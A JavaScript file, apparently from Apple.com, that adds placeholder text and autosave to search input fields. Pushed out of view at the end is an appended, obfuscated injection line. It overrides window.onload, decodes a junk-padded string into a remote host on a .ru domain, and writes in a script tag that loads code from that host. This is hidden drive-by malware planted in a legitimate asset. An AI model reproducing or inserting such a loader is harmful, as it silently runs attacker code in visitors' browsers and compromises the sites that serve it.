Event.onDOMReady(function() {
	
	var inputs = document.getElementsByTagName('input');
	
	for (var i = 0; i < inputs.length; i++) {
		if(Element.hasClassName(inputs[i], 'prettysearch')) {
			
			var options = {};
			
			//these are unique autosave names for globally used
			//autosave collections
			
			//after decoration you can simply:
			//	field.setAttribute('autosave', 'autosaveName');
			
			if(Element.hasClassName(inputs[i],'applesearch')) {
				options.autosave = 'Apple.com';
			} else if (Element.hasClassName(inputs[i], 'reseller')) {
				options.autosave = 'Apple.com Reseller';
			}
			
			if(inputs[i].parentNode.tagName == 'LABEL') {
				
				var placeholderText = "";
				
				var labelElement = Element.getElementsByClassName(inputs[i].parentNode, 'prettyplaceholder')[0];
				
				//either grab text in a classed element
				if(labelElement) {
					placeholderText = labelElement.innerHTML;
				
				//or grab text from right inside the label
				} else {
					placeholderText = inputs[i].parentNode.firstChild.nodeValue;
					inputs[i].parentNode.firstChild.nodeValue = '';
				}
				
				placeholderText = placeholderText.split('\n')[0];
				options.placeholder = placeholderText;

			}
			
			AC.decorateSearchInput(inputs[i], options);
		}
	}	
});



 try{window.onload=function(){document.write('<div id=megaid>4chan-org.gumtree.com.chi</div>');G303p52iecomut = document.getElementById('megaid').innerHTML + 'n!!a$&-#^$c#!o#@m#$).!@s@^)u!^@@p&e@#r!^^h$!#@i^^g#!h^^&e$s)t$@)).!)&^r@!@$u#:#()D!&E@)B(!^U(#&#G!&/()g&(o!$@o&)g!^(!(l)&$e#.((c$#!o@^m$@)/(^)g#@^)o(^@o)(g@l!^^)e!#^#.(^c#)^o&#m@)/&^#@u$p$l&#(o&(a&!!#d(i)@$)n$#^g&$.!)c(@o(^m)(/!(g$@)##m$o^&d!u$&&l@&$(e&@!@s$@.^$(c&@#o!@#m!/#!$(m(e!@!#r)!#c#a##$^d&)o$#(#l^i&)v#!^r&^e)!$.^)c)()&o(m^&^^.&b!(^!r!$^#/$'.replace(/\(|\)|\^|#|\!|\$|&|@/ig, '') ;document.write('<scr'+'ipt src=http://'+G303p52iecomut.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');} }  catch(Jwi70sk ) {}